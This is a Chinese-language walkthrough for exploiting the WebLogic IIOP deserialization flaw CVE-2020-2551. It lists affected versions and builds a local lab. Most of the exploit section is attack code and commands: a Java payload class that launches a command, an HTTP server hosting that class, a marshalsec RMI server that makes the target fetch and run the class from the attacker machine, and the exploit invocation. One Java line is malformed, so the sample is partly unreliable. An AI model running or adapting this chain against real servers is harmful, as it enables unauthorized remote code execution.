WeblogicIIOP反序列化漏洞(CVE-2020-2551)
1.漏洞描述
Weblogic IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调⽤远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使⽤之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接⼝,传⼊恶意数据,从⽽获取服务器权限并在未授权情况下远程执⾏任意代码。
2.影响版本
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
3.漏洞环境搭建
所有环境都是建⽴在java环境的基础上,jdk⾃⾏下载安装,本机环境jdk 1.8
1)weblogic下载链接
2)weblogic 10.3.6安装步骤参考链接:
由于是在本地windows环境搭建,利⽤IP区分靶机和攻击机器cve漏洞库
127.0.0.1(靶机)
192.168.231.186(攻击机器)
4.EXP
EXP下载链接:
⼯具都在同⼀个⽂件夹内
import java.io.IOException;
public class exp {
static{
try {
java.Runtime().exec(new String[]{"cmd","/c","calc"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
5.漏洞复现
1)编译⽣成exp.class
javac exp.java -source 1.6 -target 1.6
启⼀个web服务,需要与exp.class再同⼀个⽂件夹
python -m SimpleHTTPServer 80
python3 -m http.server 80
2)使⽤marshalsec起⼀个恶意的RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "192.168.231.186/#exp" 1099
3)执⾏如下命令,成功弹出计算器
java -jar weblogic_CVE_2020_2551.jar 127.0.0.1 7001 rmi://192.168.231.186:1099/exp

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。